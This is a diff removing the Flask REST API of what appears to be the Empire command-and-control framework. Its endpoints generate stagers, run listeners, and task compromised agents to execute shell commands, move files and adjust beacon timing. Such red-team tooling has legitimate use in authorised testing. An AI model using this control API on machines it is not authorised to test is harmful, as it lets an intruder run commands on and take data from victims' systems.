-# GET http://localhost:1337/api/admin/restart restart the RESTful API
-# GET http://localhost:1337/api/admin/shutdown shutdown the RESTful API
-#
-# GET http://localhost:1337/api/users return all users from database
-# GET http://localhost:1337/api/users/X return the user with id X
-# GET http://localhost:1337/api/users/me return the user for the given token
-# POST http://localhost:1337/api/users add a new user
-# PUT http://localhost:1337/api/users/Y/disable disable/enable user Y
-# PUT http://localhost:1337/api/users/Y/updatepassword update password for user Y
-#
-####################################################################
-
-
-def start_restful_api(
- empireMenu: MainMenu,
- suppress=False,
- headless=False,
- username=None,
- password=None,
- ip="0.0.0.0",
- port=1337,
-):
- """
- Kick off the RESTful API with the given parameters.
-
- empireMenu - Main empire menu object
- suppress - suppress most console output
- username - optional username to use for the API, otherwise pulls from the empire.db config
- password - optional password to use for the API, otherwise pulls from the empire.db config
- ip - ip to bind the API to, defaults to 0.0.0.0
- port - port to start the API on, defaults to 1337 ;)
- """
- app = Flask(__name__)
-
- app.json_encoder = MyJsonEncoder
-
- main = empireMenu
-
- global serverExitCommand
-
- if username:
- main.users.update_username(1, username[0])
-
- if password:
- main.users.update_password(1, password[0])
-
- print(helpers.color("[*] Starting Empire RESTful API on %s:%s" % (ip, port)))
-
- oldStdout = sys.stdout
- if suppress:
- # suppress the normal Flask output
- log = logging.getLogger("werkzeug")
- log.setLevel(logging.ERROR)
-
- if headless:
- # suppress all stdout and don't initiate the main cmdloop
- sys.stdout = open(os.devnull, "w")
-
- # validate API token before every request except for the login URI
- @app.before_request
- def check_token():
- """
- Before every request, check if a valid token is passed along with the request.
- """
- try:
- if request.path != "/api/admin/login":
- token = request.args.get("token")
- if token and len(token) > 0:
- user = main.users.get_user_from_token(token)
- if user:
- g.user = user
- else:
- return make_response("", 401)
- else:
- return make_response("", 401)
- except:
- return make_response("", 401)
-
- @app.after_request
- def add_cors(response):
- response.headers["Access-Control-Allow-Origin"] = "*"
- return response
-
- @app.teardown_request
- def remove_session(ex):
- Session.remove()
-
- @app.errorhandler(Exception)
- def exception_handler(error):
- """
- Generic exception handler.
- """
- code = error.code if hasattr(error, "code") else "500"
- return make_response(jsonify({"error": repr(error)}), code)
-
- @app.errorhandler(404)
- def not_found(error):
- """
- 404/not found handler.
- """
- return make_response(jsonify({"error": "Not found"}), 404)
-
- @app.route("/api/version", methods=["GET"])
- def get_version():
- """
- Returns the current Empire version.
- """
- return jsonify({"version": empire.VERSION})
-
- @app.route("/api/map", methods=["GET"])
- def list_routes():
- """
- List all of the current registered API routes.
- """
- output = {}
- for rule in app.url_map.iter_rules():
- methods = ",".join(rule.methods)
- url = rule.rule
- output.update({rule.endpoint: {"methods": methods, "url": url}})
-
- return jsonify({"Routes": output})
-
- @app.route("/api/config", methods=["GET"])
- def get_config():
- """
- Returns JSON of the current Empire config.
- """
- api_username = g.user["username"]
- api_current_token = g.user["api_token"]
-
- config = Session().query(models.Config).first()
- dictret = dict(config.__dict__)
-
- dictret.pop("_sa_instance_state", None)
- dictret["api_username"] = api_username
- dictret["current_api_token"] = api_current_token
- dictret["version"] = empire.VERSION
-
- return jsonify({"config": dictret})
-
- @app.route("/api/stagers", methods=["GET"])
- def get_stagers():
- """
- Returns JSON describing all stagers.
- """
-
- stagers = []
- for stager_name, stager in main.stagers.stagers.items():
- info = copy.deepcopy(stager.info)
- info["options"] = stager.options
- info["Name"] = stager_name
- stagers.append(info)
-
- return jsonify({"stagers": stagers})
-
- @app.route("/api/files/upload", methods=["POST"])
- def upload_file():
- """
- Upload file to server.
- """
- if not request.json["filename"]:
- return make_response(jsonify({"error": "file name not provided"}), 404)
-
- filename = request.json["filename"]
- data = request.json["data"]
-
- main.upload_file(filename, data)
- return jsonify({"success": True})
-
- @app.route("/api/files/download", methods=["POST"])
- def download_file():
- """
- Download file from server.
- """
- if not request.json["filename"]:
- return make_response(jsonify({"error": "file name not provided"}), 404)
-
- filename = request.json["filename"]
-
- file_data = main.download_file(filename)
- return jsonify({"success": True, "data": file_data})
-
- @app.route("/api/files/", methods=["GET"])
- def display_files():
- """
- Displays all files.
- """
- files = main.list_files()
- return jsonify({"files": files})
-
- @app.route("/api/stagers/", methods=["GET"])
- def get_stagers_name(stager_name):
- """
- Returns JSON describing the specified stager_name passed.
- """
- if stager_name not in main.stagers.stagers:
- return make_response(
- jsonify(
- {
- "error": "stager name %s not found, make sure to use [os]/[name] format, ie. windows/dll"
- % (stager_name)
- }
- ),
- 404,
- )
-
- stagers = []
- stager = main.stagers.stagers[stager_name]
- info = copy.deepcopy(stager.info)
- info["options"] = stager.options
- info["Name"] = stager_name
- stagers.append(info)
-
- return jsonify({"stagers": stagers})
-
- @app.route("/api/stagers", methods=["POST"])
- def generate_stager():
- """
- Generates a stager with the supplied config and returns JSON information
- describing the generated stager, with 'Output' being the stager output.
-
- Required JSON args:
- StagerName - the stager name to generate
- Listener - the Listener name to use for the stager
- """
- if (
- not request.json
- or not "StagerName" in request.json
- or not "Listener" in request.json
- ):
- abort(400)
-
- stager_name = request.json["StagerName"]
- listener = request.json["Listener"]
-
- if stager_name not in main.stagers.stagers:
- return make_response(
- jsonify({"error": "stager name %s not found" % (stager_name)}), 404
- )
-
- if not main.listeners.is_listener_valid(listener):
- return make_response(jsonify({"error": "invalid listener ID or name"}), 400)
-
- stager = main.stagers.stagers[stager_name]
-
- # set all passed options
- for option, values in request.json.items():
- if option != "StagerName":
- if option not in stager.options:
- return make_response(
- jsonify(
- {
- "error": "Invalid option %s, check capitalization."
- % (option)
- }
- ),
- 400,
- )
- stager.options[option]["Value"] = values
-
- # validate stager options
- for option, values in stager.options.items():
- if values["Required"] and (
- (not values["Value"]) or (values["Value"] == "")
- ):
- return make_response(
- jsonify({"error": "required stager options missing"}), 400
- )
- if values["Strict"] and values["Value"] not in values["SuggestedValues"]:
- return make_response(
- jsonify(
- {
- "error": f"{option} must be set to one of the suggested values."
- }
- )
- )
-
- stager_out = copy.deepcopy(stager.options)
-
- if ("OutFile" in stager_out) and (stager_out["OutFile"]["Value"] != ""):
- generated_stager = stager.generate()
- if isinstance(generated_stager, str):
- # if the output was intended for a file, return the base64 encoded text
- stager_out["Output"] = base64.b64encode(
- generated_stager.encode("UTF-8")
- )
- else:
- stager_out["Output"] = base64.b64encode(generated_stager)
-
- else:
- # otherwise return the text of the stager generation
- stager_out["Output"] = stager.generate()
-
- return jsonify({stager_name: stager_out})
-
- @app.route("/api/modules", methods=["GET"])
- def get_modules():
- """
- Returns JSON describing all currently loaded modules.
- """
-
- modules = []
-
- for moduleName, module in main.modules.modules.items():
- mod_dict = module.dict()
- module_info = {
- "Name": moduleName,
- "Author": mod_dict.get("authors"),
- "Background": mod_dict.get("background"),
- "Comments": mod_dict.get("comments"),
- "Description": mod_dict.get("description"),
- "Enabled": mod_dict.get("enabled"),
- "Language": mod_dict.get("language"),
- "MinLanguageVersion": mod_dict.get("min_language_version"),
- "NeedsAdmin": mod_dict.get("needs_admin"),
- "OpsecSafe": mod_dict.get("opsec_safe"),
- "options": {
- x["name"]: {
- "Description": x["description"],
- "Required": x["required"],
- "Value": x["value"],
- "SuggestedValues": x["suggested_values"],
- "Strict": x["strict"],
- }
- for x in mod_dict.get("options")
- },
- "OutputExtension": mod_dict.get("output_extension"),
- "Software": mod_dict.get("software"),
- "Techniques": mod_dict.get("techniques"),
- }
- modules.append(module_info)
-
- return jsonify({"modules": modules})
-
- @app.route("/api/modules/", methods=["GET"])
- def get_module_name(module_name):
- """
- Returns JSON describing the specified currently module.
- """
-
- if module_name not in main.modules.modules:
- return make_response(
- jsonify({"error": "module name %s not found" % (module_name)}), 404
- )
-
- modules = []
- mod_dict = main.modules.modules[module_name].dict()
- module_info = {
- "Name": module_name,
- "Author": mod_dict.get("authors"),
- "Background": mod_dict.get("background"),
- "Comments": mod_dict.get("comments"),
- "Description": mod_dict.get("description"),
- "Enabled": mod_dict.get("enabled"),
- "Language": mod_dict.get("language"),
- "MinLanguageVersion": mod_dict.get("min_language_version"),
- "NeedsAdmin": mod_dict.get("needs_admin"),
- "OpsecSafe": mod_dict.get("opsec_safe"),
- "options": {
- x["name"]: {
- "Description": x["description"],
- "Required": x["required"],
- "Value": x["value"],
- "SuggestedValues": x["suggested_values"],
- "Strict": x["strict"],
- }
- for x in mod_dict.get("options")
- },
- "OutputExtension": mod_dict.get("output_extension"),
- "Software": mod_dict.get("software"),
- "Techniques": mod_dict.get("techniques"),
- }
- modules.append(module_info)
-
- return jsonify({"modules": modules})
-
- @app.route("/api/modules/disable", methods=["POST"])
- def disable_modules():
- """
- Disable list of modules
- """
- if not request.json or not "module_list" in request.json:
- abort(400)
-
- module_list = request.json["module_list"]
- main.modules.change_module_state(main, module_list, False)
- return jsonify({"success": True})
-
- @app.route("/api/modules/enable", methods=["POST"])
- def enable_modules():
- """
- Enable list of modules
- """
- if not request.json or not "module_list" in request.json:
- abort(400)
-
- module_list = request.json["module_list"]
- main.modules.change_module_state(main, module_list, True)
- return jsonify({"success": True})
-
- @app.route("/api/modules/", methods=["POST"])
- def execute_module(module_name):
- """
- Executes a given module name with the specified parameters.
- """
- module: PydanticModule = main.modules.get_module(module_name)
- if not module:
- return make_response(
- jsonify({"error": f"module name {module_name} not found"}), 404
- )
-
- result, err = main.modules.execute_module(
- module, params=request.json, user_id=g.user["id"]
- )
-
- if err:
- return make_response(jsonify({"error": err}), 400)
-
- return make_response(jsonify(result), 200)
-
- @app.route("/api/modules/search", methods=["POST"])
- def search_modules():
- """
- Returns JSON describing the the modules matching the passed
- 'term' search parameter. Module name, description, comments,
- and author fields are searched.
- """
-
- if not request.json or not "term":
- abort(400)
-
- search_term = request.json["term"]
-
- modules = []
-
- for module in main.modules.modules.values():
- if search_term == "" or module.matches(search_term):
- modules.append(module.info)
-
- return jsonify({"modules": modules})
-
- @app.route("/api/modules/search/modulename", methods=["POST"])
- def search_modules_name():
- """
- Returns JSON describing the the modules matching the passed
- 'term' search parameter for the modfule name.
- """
-
- if not request.json or not "term":
- abort(400)
-
- search_term = request.json["term"]
-
- modules = []
-
- for module in main.modules.modules.values():
- if search_term == "" or module.matches(search_term, parameter="name"):
- modules.append(module.info)
-
- return jsonify({"modules": modules})
-
- @app.route("/api/modules/search/description", methods=["POST"])
- def search_modules_description():
- """
- Returns JSON describing the the modules matching the passed
- 'term' search parameter for the 'Description' field.
- """
-
- if not request.json or not "term":
- abort(400)
-
- search_term = request.json["term"]
-
- modules = []
-
- for module in main.modules.modules.values():
- if search_term == "" or module.matches(search_term, "description"):
- modules.append(module.info)
-
- return jsonify({"modules": modules})
-
- @app.route("/api/modules/search/comments", methods=["POST"])
- def search_modules_comments():
- """
- Returns JSON describing the the modules matching the passed
- 'term' search parameter for the 'Comments' field.
- """
-
- if not request.json or not "term":
- abort(400)
-
- search_term = request.json["term"]
-
- modules = []
-
- for module in main.modules.modules.values():
- if search_term == "" or module.matches(search_term, "comments"):
- modules.append(module.info)
-
- return jsonify({"modules": modules})
-
- @app.route("/api/modules/search/author", methods=["POST"])
- def search_modules_author():
- """
- Returns JSON describing the the modules matching the passed
- 'term' search parameter for the 'Author' field.
- """
-
- if not request.json or not "term":
- abort(400)
-
- search_term = request.json["term"]
-
- modules = []
-
- for module in main.modules.modules.values():
- if search_term == "" or module.matches(search_term, "authors"):
- modules.append(module.info)
-
- return jsonify({"modules": modules})
-
- @app.route("/api/listeners", methods=["GET"])
- def get_listeners():
- """
- Returns JSON describing all currently registered listeners.
- """
- active_listeners_raw = Session().query(models.Listener).all()
-
- listeners = []
- for active_listener in active_listeners_raw:
- listeners.append(
- {
- "ID": active_listener.id,
- "name": active_listener.name,
- "module": active_listener.module,
- "listener_type": active_listener.listener_type,
- "listener_category": active_listener.listener_category,
- "options": active_listener.options,
- "created_at": active_listener.created_at,
- "enabled": active_listener.enabled,
- }
- )
-
- return jsonify({"listeners": listeners})
-
- @app.route("/api/listeners//validate", methods=["POST"])
- def validate_listeners(listener_type):
- """
- Returns JSON describing all currently registered listeners.
- """
- if listener_type.lower() not in main.listeners.loadedListeners:
- return make_response(
- jsonify({"error": f"listener type {listener_type} not found"}), 404
- )
-
- listener_object = main.listeners.loadedListeners[listener_type]
- # set all passed options
- for option, values in request.json.items():
- if isinstance(values, bytes):
- values = values.decode("UTF-8")
- if option == "Name":
- listener_name = values
-
- return_options = main.listeners.set_listener_option(
- listener_type, option, values
- )
- if not return_options:
- return make_response(
- jsonify(
- {
- "error": "error setting listener value %s with option %s"
- % (option, values)
- }
- ),
- 400,
- )
-
- validation = listener_object.validate_options()
-
- if validation == True:
- return jsonify({"success": True})
- elif not validation:
- return jsonify(
- {"error": "failed to validate listener %s options" % listener_name}
- )
- else:
- return jsonify({"error": validation})
-
- @app.route("/api/listeners/", methods=["GET"])
- def get_listener_name(listener_name):
- """
- Returns JSON describing the listener specified by listener_name.
- """
- active_listener = (
- Session()
- .query(models.Listener)
- .filter(models.Listener.name == listener_name)
- .first()
- )
-
- if not active_listener:
- return make_response(
- jsonify({"error": "listener name %s not found" % listener_name}), 404
- )
-
- listeners = [
- {
- "ID": active_listener.id,
- "name": active_listener.name,
- "module": active_listener.module,
- "listener_type": active_listener.listener_type,
- "listener_category": active_listener.listener_category,
- "options": active_listener.options,
- }
- ]
- return jsonify({"listeners": listeners})
-
- @app.route("/api/listeners/", methods=["DELETE"])
- def kill_listener(listener_name):
- """
- Kills the listener specified by listener_name.
- """
- if listener_name.lower() == "all":
- active_listeners_raw = Session().query(models.Listener).all()
- for active_listener in active_listeners_raw:
- main.listeners.kill_listener(active_listener.name)
-
- return jsonify({"success": True})
- else:
- if listener_name != "" and main.listeners.is_listener_valid(listener_name):
- main.listeners.kill_listener(listener_name)
- return jsonify({"success": True})
- else:
- return make_response(
- jsonify({"error": "listener name %s not found" % listener_name}),
- 404,
- )
-
- @app.route("/api/listeners//disable", methods=["PUT"])
- def disable_listener(listener_name):
- """
- Disables the listener specified by listener_name.
- """
- if listener_name != "" and main.listeners.is_listener_valid(listener_name):
- main.listeners.disable_listener(listener_name)
- return jsonify({"success": True})
- else:
- return make_response(
- jsonify(
- {
- "error": "listener name %s not found or already disabled"
- % listener_name
- }
- ),
- 404,
- )
-
- @app.route("/api/listeners//enable", methods=["PUT"])
- def enable_listener(listener_name):
- """
- Enable the listener specified by listener_name.
- """
- if (
- listener_name != ""
- and listener_name in main.listeners.get_inactive_listeners()
- ):
- main.listeners.enable_listener(listener_name)
- return jsonify({"success": True})
- else:
- return make_response(
- jsonify(
- {
- "error": "listener name %s not found or already enabled"
- % listener_name
- }
- ),
- 404,
- )
-
- @app.route("/api/listeners//edit", methods=["PUT"])
- def edit_listener(listener_name):
- """
- Edit listener specified by listener_name.
- """
- if not request.json["option_name"]:
- return make_response(jsonify({"error": "option_name not provided"}), 400)
- if main.listeners.is_listener_valid(listener_name):
- return make_response(
- jsonify({"error": "Provided listener should be disabled"}), 400
- )
-
- option_name = request.json["option_name"]
- option_value = request.json.get("option_value", "")
-
- if listener_name in main.listeners.get_inactive_listeners():
- # todo For right now, setting listener options via update does not go through the same validation and formatters
- # that start_listener does. In order to do that requires some refactors on listeners.py to use the db better
- # as a source of truth and not depend on all the in-memory objects.
- success = main.listeners.update_listener_options(
- listener_name, option_name, option_value
- )
- if success:
- return jsonify({"success": True})
- else:
- # todo propagate the actual error with setting the value
- return make_response(
- jsonify(
- {
- "error": "error setting listener value %s with option %s"
- % (option_name, option_value)
- }
- ),
- 400,
- )
- else:
- return make_response(
- jsonify(
- {
- "error": "listener name %s not found or not inactive"
- % listener_name
- }
- ),
- 404,
- )
-
- @app.route("/api/listeners/types", methods=["GET"])
- def get_listener_types():
- """
- Returns a list of the loaded listeners that are available for use.
- """
-
- return jsonify({"types": list(main.listeners.loadedListeners.keys())})
-
- @app.route("/api/listeners/options/", methods=["GET"])
- def get_listener_options(listener_type):
- """
- Returns JSON describing listener options for the specified listener type.
- """
-
- if listener_type.lower() not in main.listeners.loadedListeners:
- return make_response(
- jsonify({"error": "listener type %s not found" % listener_type}), 404
- )
-
- options = main.listeners.loadedListeners[listener_type].options
- info = main.listeners.loadedListeners[listener_type].info
-
- return jsonify({"listeneroptions": options, "listenerinfo": info})
-
- @app.route("/api/listeners/", methods=["POST"])
- def start_listener(listener_type):
- """
- Starts a listener with options supplied in the POST.
- """
- if listener_type.lower() not in main.listeners.loadedListeners:
- return make_response(
- jsonify({"error": "listener type %s not found" % listener_type}), 404
- )
-
- listener_name = request.json["Name"]
- dupe_check = (
- Session()
- .query(models.Listener)
- .filter(models.Listener.name == listener_name)
- .first()
- )
- if dupe_check:
- return make_response(
- jsonify(
- {"error": f"listener with name {listener_name} already exists"}
- ),
- 400,
- )
-
- listenerObject = main.listeners.loadedListeners[listener_type]
- # set all passed options
- for option, values in request.json.items():
- if isinstance(values, bytes):
- values = values.decode("UTF-8")
-
- returnVal = main.listeners.set_listener_option(
- listener_type, option, values
- )
- if not returnVal:
- return make_response(
- jsonify(
- {
- "error": "error setting listener value %s with option %s"
- % (option, values)
- }
- ),
- 400,
- )
-
- main.listeners.start_listener(listener_type, listenerObject)
-
- # check to see if the listener was created
- listenerID = main.listeners.get_listener_id(listener_name)
- if listenerID:
- return jsonify(
- {"success": "Listener %s successfully started" % listener_name}
- )
- else:
- return jsonify({"error": "failed to start listener %s" % listener_name})
-
- @app.route("/api/agents", methods=["GET"])
- def get_agents():
- """
- Returns JSON describing all currently registered agents, stale and active.
- """
- return jsonify(
- {
- "agents": [
- agent.info
- for agent in Session()
- .query(models.Agent)
- .filter(models.Agent.killed == False)
- .all()
- ]
- }
- )
-
- @app.route("/api/agents/active", methods=["GET"])
- def get_active_agents():
- """
- Returns JSON describing all currently registered agents.
- """
-
- return jsonify(
- {
- "agents": [
- agent.info
- for agent in Session()
- .query(models.Agent)
- .filter(models.Agent.killed == False, models.Agent.stale == False)
- .all()
- ]
- }
- )
-
- @app.route("/api/agents/stale", methods=["GET"])
- def get_agents_stale():
- """
- Returns JSON describing all stale agents.
- """
-
- return jsonify(
- {
- "agents": [
- agent.info
- for agent in Session()
- .query(models.Agent)
- .filter(models.Agent.killed == False, models.Agent.stale == True)
- .all()
- ]
- }
- )
-
- @app.route("/api/agents/stale", methods=["DELETE"])
- def remove_stale_agent():
- """
- Removes all stale agents from the controller.
-
- WARNING: doesn't kill the agent first! Ensure the agent is dead.
- """
- agents_raw = (
- Session()
- .query(models.Agent)
- .filter(models.Agent.killed == False, models.Agent.stale == True)
- .all()
- )
- for agent in agents_raw:
- agent.killed = True
- Session().commit()
-
- return jsonify({"success": True})
-
- @app.route("/api/agents/", methods=["DELETE"])
- def remove_agent(agent_name):
- """
- Removes an agent from the controller specified by agent_name.
-
- WARNING: doesn't kill the agent first! Ensure the agent is dead.
- """
- agent = (
- Session()
- .query(models.Agent)
- .filter(models.Agent.name == agent_name)
- .first()
- )
-
- if not agent:
- return make_response(
- jsonify({"error": "agent %s not found" % agent_name}), 404
- )
-
- agent.killed = True
- Session().commit()
-
- return jsonify({"success": True})
-
- @app.route("/api/agents/", methods=["GET"])
- def get_agents_name(agent_name):
- """
- Returns JSON describing the agent specified by agent_name.
- """
- agent = (
- Session()
- .query(models.Agent)
- .filter(models.Agent.name == agent_name)
- .first()
- )
-
- if not agent:
- return make_response(
- jsonify({"error": "agent %s not found" % agent_name}), 404
- )
-
- return jsonify({"agents": [agent.info]})
-
- @app.route("/api/agents//processes", methods=["GET"])
- def get_host_process(agent_name):
- """
- Gets the processes from the processes table for a given agent. Processes are stored at the host level,
- so it looks up the host from the agent and then gets the processes for that host.
- """
- agent = (
- Session()
- .query(models.Agent)
- .filter(models.Agent.session_id == agent_name)
- .first()
- )
- processes = []
- if agent:
- processes_raw: List[models.HostProcess] = (
- Session()
- .query(models.HostProcess)
- .filter(models.HostProcess.host_id == agent.host_id)
- .all()
- )
-
- for proc in processes_raw:
- agent_session_id = None
- if proc.agent:
- agent_session_id = proc.agent.session_id
- processes.append(
- {
- "host_id": proc.host_id,
- "process_id": proc.process_id,
- "process_name": proc.process_name,
- "agent_session_id": agent_session_id,
- "architecture": proc.architecture,
- "user": proc.user,
- }
- )
-
- return {"processes": processes}
-
- @app.route("/api/agents//directory", methods=["POST"])
- def scrape_agent_directory(agent_name):
- directory = (
- "/"
- if request.args.get("directory") is None
- else request.args.get("directory")
- )
- task_id = main.agents.add_agent_task_db(
- agent_name, "TASK_DIR_LIST", directory, g.user["id"]
- )
- return jsonify({"taskID": task_id})
-
- @app.route("/api/agents//directory", methods=["GET"])
- def get_agent_directory(agent_name):
- # Would be cool to add a "depth" param
- directory = request.args.get("directory") or "/"
-
- found = (
- Session()
- .query(models.AgentFile)
- .filter(
- and_(
- models.AgentFile.session_id == agent_name,
- models.AgentFile.path == directory,
- )
- )
- .first()
- )
-
- if not found:
- return make_response(jsonify({"error": "Directory not found."}), 404)
-
- agent_file_alias = aliased(models.AgentFile)
- results = (
- Session()
- .query(
- models.AgentFile.id.label("id"),
- models.AgentFile.session_id.label("session_id"),
- models.AgentFile.name.label("name"),
- models.AgentFile.path.label("path"),
- models.AgentFile.parent_id.label("parent_id"),
- models.AgentFile.is_file.label("is_file"),
- agent_file_alias.name.label("parent_name"),
- agent_file_alias.path.label("parent_path"),
- agent_file_alias.parent_id.label("parent_parent"),
- )
- .select_from(models.AgentFile)
- .join(agent_file_alias, models.AgentFile.parent_id == agent_file_alias.id)
- .filter(
- and_(
- models.AgentFile.session_id == agent_name,
- agent_file_alias.path == directory,
- )
- )
- .all()
- )
-
- response = []
- for result in results:
- response.append(
- {
- "id": result.id,
- "session_id": result.session_id,
- "name": result.name,
- "path": result.path,
- "parent_id": result.parent_id,
- "is_file": result.is_file,
- "parent_name": result.parent_name,
- "parent_path": result.parent_path,
- "parent_parent": result.parent_parent,
- }
- )
-
- return jsonify({"items": response})
-
- @app.route("/api/agents//results", methods=["GET"])
- def get_agent_results(agent_name):
- """
- Returns JSON describing the agent's results and removes the result field
- from the backend database.
- """
- agent_task_results = []
-
- query_options = [joinedload(models.Tasking.user)]
- query = (
- Session()
- .query(models.Tasking)
- .filter(models.Tasking.agent_id == agent_name)
- )
-
- if request.args.get("include_full_input"):
- query_options.append(undefer("input_full"))
- if request.args.get("include_original_output"):
- query_options.append(undefer("original_output"))
-
- if request.args.get("updated_since"):
- try:
- since = request.args.get("updated_since")
- since.replace(
- "Z", "+00:00"
- ) # from isoformat does not recognize Z as utc
- timestamp = datetime.fromisoformat(since).astimezone(timezone.utc)
- query = query.filter(models.Tasking.updated_at > timestamp)
- except ValueError as e:
- return make_response(
- {
- "error": f'Invalid ISO-8601 timestamp: {request.args.get("updated_since")}'
- },
- 400,
- )
-
- query = query.options(*query_options)
-
- tasks: List[models.Tasking] = query.all()
-
- results = []
- for task in tasks:
- res = {
- "taskID": task.id,
- "command": task.input,
- "results": task.output,
- "user_id": task.user_id,
- "created_at": task.created_at,
- "updated_at": task.updated_at,
- "username": task.user.username,
- "agent": task.agent_id,
- }
- if request.args.get("include_full_input"):
- res["full_input"] = task.input_full
- if request.args.get("include_original_output"):
- res["original_output"] = task.original_output
- results.append(res)
-
- agent_task_results.append({"AgentName": agent_name, "AgentResults": results})
-
- return jsonify({"results": agent_task_results})
-
- @app.route("/api/agents//task/", methods=["GET"])
- def get_task(agent_name, task_id):
- """
- Returns json about a task from the database.
- """
- task: models.Tasking = (
- Session()
- .query(models.Tasking)
- .filter(models.Tasking.agent_id == agent_name)
- .filter(models.Tasking.id == task_id)
- .options(joinedload(models.Tasking.user))
- .first()
- )
-
- if task:
- output = {
- "taskID": task.id,
- "command": task.input,
- "results": task.output,
- "user_id": task.user_id,
- "username": task.user.username,
- "agent": task.agent_id,
- }
- if request.args.get("include_full_input"):
- output["full_input"] = task.input_full
- if request.args.get("include_original_output"):
- output["original_output"] = task.original_output
- return make_response(jsonify(output))
-
- return make_response(jsonify({"error": "task not found."}), 404)
-
- @app.route("/api/agents//task/slim", methods=["GET"])
- def get_agent_tasks_slim(agent_name):
- """
- Provides a slimmed down view of agent tasks.
- This is useful for when trying to get a quick list of actions taken on an agent without
- all the overhead of the joined tables or tasking result bloat.
- :param agent_name:
- :return:
- """
- query = (
- Session()
- .query(
- models.Tasking.id,
- models.Tasking.input,
- models.Tasking.agent_id,
- models.Tasking.user_id,
- models.User.username,
- )
- .filter(models.Tasking.agent_id == agent_name)
- .join(models.User, models.Tasking.user_id == models.User.id)
- .order_by(models.Tasking.id.asc())
- )
-
- if request.args.get("num_results"):
- query.limit(request.args.get("num_results"))
-
- tasks = query.all()
-
- agent_tasks = []
- for task in tasks:
- agent_tasks.append(
- {
- "taskID": task.id,
- "command": task.input,
- "agent": task.agent_id,
- "user_id": task.user_id,
- "username": task.username,
- }
- )
-
- return jsonify({"tasks": agent_tasks})
-
- @app.route("/api/agents//task", methods=["GET"])
- def get_agent_tasks(agent_name):
- """
- Returns json of last number of tasks tasks from an agent.
- """
- agent = main.agents.get_agent_from_name_or_session_id(agent_name)
-
- if agent is None:
- return make_response(
- jsonify({"error": "agent name %s not found" % agent_name}), 404
- )
-
- if not request.args.get("num_results"):
- return make_response(
- jsonify({"error": "number of results to return not provided"}), 404
- )
-
- num_results = int(request.args.get("num_results"))
-
- tasks = (
- Session()
- .query(models.Tasking)
- .filter(models.Tasking.agent_id == agent_name)
- .options(joinedload(models.Tasking.user))
- .order_by(models.Tasking.id.desc())
- .limit(num_results)
- .all()
- )
-
- agent_tasks = []
- for task in tasks:
- agent_tasks.append(
- {
- "taskID": task.id,
- "command": task.input,
- "results": task.output,
- "user_id": task.user_id,
- "username": task.user.username,
- "agent": task.agent_id,
- }
- )
-
- return jsonify({"agent": agent_tasks})
-
- @app.route("/api/agents//results", methods=["DELETE"])
- def delete_agent_results(agent_name):
- """
- Removes the specified agent results field from the backend database.
- """
- agent = main.agents.get_agent_from_name_or_session_id(agent_name)
-
- if not agent:
- return make_response(
- jsonify({"error": "agent name %s not found" % agent_name}), 404
- )
-
- agent.results = ""
- Session().commit()
-
- return jsonify({"success": True})
-
- @app.route("/api/agents//download", methods=["POST"])
- def task_agent_download(agent_name):
- """
- Tasks the specified agent to download a file
- """
- agent = main.agents.get_agent_from_name_or_session_id(agent_name)
-
- if agent is None:
- return make_response(
- jsonify({"error": "agent name %s not found" % agent_name}), 404
- )
-
- if not request.json["filename"]:
- return make_response(jsonify({"error": "file name not provided"}), 404)
-
- file_name = request.json["filename"]
-
- msg = "Tasked agent to download %s" % file_name
- main.agents.save_agent_log(agent.session_id, msg)
- task_id = main.agents.add_agent_task_db(
- agent.session_id, "TASK_DOWNLOAD", file_name, uid=g.user["id"]
- )
-
- return jsonify({"success": True, "taskID": task_id})
-
- @app.route("/api/agents//upload", methods=["POST"])
- def task_agent_upload(agent_name):
- """
- Tasks the specified agent to upload a file
- """
- agent = main.agents.get_agent_from_name_or_session_id(agent_name)
-
- if agent is None:
- return make_response(
- jsonify({"error": "agent name %s not found" % agent_name}), 404
- )
-
- if not request.json["data"]:
- return make_response(jsonify({"error": "file data not provided"}), 404)
-
- if not request.json["filename"]:
- return make_response(jsonify({"error": "file name not provided"}), 404)
-
- file_data = request.json["data"]
- file_name = request.json["filename"]
-
- raw_bytes = base64.b64decode(file_data)
-
- if len(raw_bytes) > 1048576:
- return make_response(
- jsonify({"error": "file size too large, upload limit: <1MB."}), 404
- )
-
- msg = "Tasked agent to upload %s : %s" % (
- file_name,
- hashlib.md5(raw_bytes).hexdigest(),
- )
- main.agents.save_agent_log(agent.session_id, msg)
- data = file_name + "|" + file_data
- task_id = main.agents.add_agent_task_db(
- agent.session_id, "TASK_UPLOAD", data, uid=g.user["id"]
- )
-
- return jsonify({"success": True, "taskID": task_id})
-
- @app.route("/api/agents//shell", methods=["POST"])
- def task_agent_shell(agent_name):
- """
- Tasks an the specified agent_name to execute a shell command.
-
- Takes {'command':'shell_command'}
- """
- agent = main.agents.get_agent_from_name_or_session_id(agent_name)
-
- if agent is None:
- return make_response(
- jsonify({"error": "agent name %s not found" % agent_name}), 404
- )
-
- command = request.json["command"]
-
- if command == "sysinfo":
- task_id = main.agents.add_agent_task_db(agent_name, "TASK_SYSINFO")
- else:
- # add task command to agent taskings
- msg = "tasked agent %s to run command %s" % (agent.session_id, command)
- main.agents.save_agent_log(agent.session_id, msg)
- task_id = main.agents.add_agent_task_db(
- agent.session_id, "TASK_SHELL", command, uid=g.user["id"]
- )
-
- return jsonify({"success": True, "taskID": task_id})
-
- @app.route("/api/agents//sleep", methods=["PUT"])
- def set_agent_sleep(agent_name):
- """
- Tasks the specified agent to sleep or change jitter
- """
- agent = main.agents.get_agent_from_name_or_session_id(agent_name)
-
- if agent is None:
- return make_response(
- jsonify({"error": "agent name %s not found" % agent_name}), 404
- )
-
- if (
- not request.json
- or "delay" not in request.json
- or "jitter" not in request.json
- ):
- return make_response(
- jsonify({"error": "Jitter and sleep interval are not provided"}), 400
- )
-
- agent_delay = int(request.json["delay"])
- agent_jitter = float(request.json["jitter"])
-
- if agent_delay >= 0:
- agent.delay = agent_delay
- else:
- return make_response(
- jsonify({"error": "Delay must be a positive integer"}), 400
- )
-
- if agent_jitter >= 0 and agent_jitter <= 1:
- agent.jitter = agent_jitter
- else:
- return make_response(
- jsonify({"error": "Jitter must be between 0.0 and 1.0"}), 400
- )
-
- if agent.language == "powershell":
- task_id = main.agents.add_agent_task_db(
- agent.session_id,
- "TASK_SHELL",
- "Set-Delay " + str(agent_delay) + " " + str(agent_jitter),
- )
- elif agent.language == "python":
- task_id = main.agents.add_agent_task_db(
- agent.session_id,
- "TASK_CMD_WAIT",
- "global delay; global jitter; delay=%s; jitter=%s; print('delay/jitter set to %s/%s')"
- % (agent_delay, agent_jitter, agent_delay, agent_jitter),
- )
